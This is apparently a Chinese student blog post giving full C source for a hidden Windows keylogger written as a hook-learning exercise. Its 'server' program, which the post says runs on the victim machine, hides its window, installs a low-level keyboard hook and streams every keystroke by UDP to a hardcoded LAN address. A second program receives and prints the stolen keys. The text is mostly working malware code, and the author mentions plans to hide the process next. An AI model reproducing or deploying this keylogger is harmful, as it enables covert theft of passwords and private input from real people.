介绍
大二上学习Hook写的一个小例子,隐藏进程界面监听同一局域网下受害机的键盘,并将其键盘输入通过socket传输到接收机。以后可能会去尝试一下隐藏该进程。
server端
//server端,即受害机
#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>
#include <process.h>
#pragma comment(lib, "ws2_32.lib") //加载 ws2_32.dll
#define BUF_SIZE 100
#define WH_KEYBOARD_LL 13
#pragma comment(lib,"user32.lib")
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" ) //隐藏窗口
/*
typedef struct {
DWORD vkCode;
DWORD scanCode;
DWORD flags;
DWORD time;
ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
*/
HHOOK MyHook; //接收由SetWindowsHookEx返回的旧的钩子
int CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
int log(char vkcode);
int toClient(char vkcode);
//主函数
int main(){
//隐藏窗口
HWND hwndDOS = GetForegroundWindow();
ShowWindow(hwndDOS, SW_HIDE);
//安装钩子
MyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)&KeyboardProc,GetModuleHandle(NULL),NULL);
MSG msg;
while (GetMessage (&msg, NULL, 0, 0)!=-1){ //消息循环
TranslateMessage (&msg);
DispatchMessage (&msg);
}
UnhookWindowsHookEx (MyHook);
return 0;
}
//回调函数,用于处理截获的按键消息
int CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam){
if (code >= HC_ACTION && wParam==WM_KEYDOWN){ //有键按下
DWORD vk_code = ((KBDLLHOOKSTRUCT*)lParam)->vkCode;
printf("lParam = %d code = %d HC_ACTION = %d WM_KEYDOWN=%d wParam = %d vk_code = %d
",lParam,code,HC_ACTION,WM_KEYDOWN,wParam,vk_code);
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
ToAscii(vk_code,0,ks,&w,0);
char ch =char(w);
//log(ch);
//printf("%d ",vk_code); //输出按键信息,注意这里按下和弹起都会输出
toClient(ch);
}
return CallNextHookEx(MyHook,code,wParam,lParam); //将消息还给钩子链,不要影响别人
}
//记录到文件
int log(char vkcode){
FILE *fl;
fl=fopen("log.txt","a+");
if(vkcode==13)
fwrite("
",1,2,fl); //注意此处 count=2
else
fwrite(&vkcode, sizeof(char), 1, fl); //把按键字符 记录到文件
//printf("write ok
");
fclose(fl);
return 0;
}
//发送给client端
int toClient(char vkcode){
//初始化DLL
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
//创建套接字
SOCKET sock = socket(PF_INET, SOCK_DGRAM, 0);
//服务器地址信息
sockaddr_in servAddr;
memset(&servAddr, 0, sizeof(servAddr)); //每个字节都用0填充
servAddr.sin_family = PF_INET;
servAddr.sin_addr.s_addr = inet_addr("192.168.3.14");
servAddr.sin_port = htons(1234);
//不断获取用户输入并发送给服务器,然后接受服务器数据
sockaddr fromAddr;
int addrLen = sizeof(fromAddr);
char buffer[BUF_SIZE] = {0};
buffer[0] = vkcode;
sendto(sock, buffer, strlen(buffer), 0, (struct sockaddr*)&servAddr, sizeof(servAddr));
closesocket(sock);
WSACleanup();
return 0;
}
client端
//client端,即接收机
#include <stdio.h>
#include <winsock2.h>
#pragma comment (lib, "ws2_32.lib") //加载 ws2_32.dll
#define BUF_SIZE 100
int main(){
WSADATA wsaData;
WSAStartup( MAKEWORD(2, 2), &wsaData);
//创建套接字
SOCKET sock = socket(AF_INET, SOCK_DGRAM, 0);
//绑定套接字
sockaddr_in servAddr;
memset(&servAddr, 0, sizeof(servAddr)); //每个字节都用0填充
servAddr.sin_family = PF_INET; //使用IPv4地址
servAddr.sin_addr.s_addr = htonl(INADDR_ANY); //自动获取IP地址
servAddr.sin_port = htons(1234); //端口
bind(sock, (SOCKADDR*)&servAddr, sizeof(SOCKADDR));
//接收客户端请求
SOCKADDR clntAddr; //客户端地址信息
int nSize = sizeof(SOCKADDR);
char buffer[BUF_SIZE]; //缓冲区
while(1){
int strLen = recvfrom(sock, buffer, BUF_SIZE, 0, &clntAddr, &nSize);
//sendto(sock, buffer, strLen, 0, &clntAddr, nSize);
printf("Message form cilent: %s
", buffer);
}
closesocket(sock);
WSACleanup();
return 0;
}
运行结果
运行截图,win10虚拟机与本地机间进行测试
受害机任务管理器中显示server.exe